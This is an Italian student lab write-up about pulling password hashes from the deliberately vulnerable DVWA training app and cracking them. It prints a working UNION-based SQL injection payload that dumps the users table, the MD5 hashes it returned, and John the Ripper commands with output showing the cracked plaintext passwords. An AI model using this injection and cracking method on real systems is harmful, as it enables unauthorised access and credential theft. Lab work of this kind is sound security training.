S6L4

Cracking Password

L'obbiettivo di oggi è recuperare le password hashate nel database della DVWA e eseguire sessioni di cracking per recuperare la loro versione in chiaro utilizzando i tool studiati nella lezione teorica.

Recupero password

Per recuperare le password andrò a utilizzare un comando di SQL injection che mi farà visualizzare le password, il comando è:

%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

Dopo aver scritto il comando andrò a scrivere i codici hash recuperati in un file chiamato **hash.txt** come mostra la foto qui sotto.

```
1 5f4dcc3b5aa765d61d8327deb882cf99
2 e99a18c428cb38d5f260853678922e03
3 8d3533d75ae2c3966d7e0d4fcc69216b
4 0d107d09f5bbe40cade3de5c71e9e9b7
5 5f4dcc3b5aa765d61d8327deb882cf99
```

Cracking

Ora utilizzerò il tool John The Ripper per andare a craccare le password. Per farlo utilizzerò il comando: john —format=raw-md5 **hash.txt**

Questo comando indica di avviare il cracking delle password utilizzando l'hash MD5 RAW, ovvero senza salatura, e prendendo i codici hash dal nostro file.

Il risultato sarà il seguente:

```
┌──(christian㉿christian)-[~/Scrivania]
└─$ john --format=Raw-MD5 hash.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 ASIMD 4×2])
Warning: no OpenMP support for this hash type, consider --fork=4
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password         (?)
password         (?)
abc123           (?)
letmein          (?)
Proceeding with incremental:ASCII
charley          (?)
5g 0:00:00:00 DONE 3/3 (2024-11-07 14:10) 33.33g/s 1209Kp/s 1209Kc/s 1318KC/s jaith..013355
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

┌──(christian㉿christian)-[~/Scrivania]
└─$ john --show --format=raw-md5 hash.txt
?:password
?:abc123
?:charley
?:letmein
?:password

5 password hashes cracked, 0 left

┌──(christian㉿christian)-[~/Scrivania]
└─$
```

Con il comando: john —show —format=raw-md5 **hash.txt**
Andrò invece a visualizzare le password craccate.
Andrò infine a modificare il file **hash.txt** mostrando la password di ogni singolo codice hash.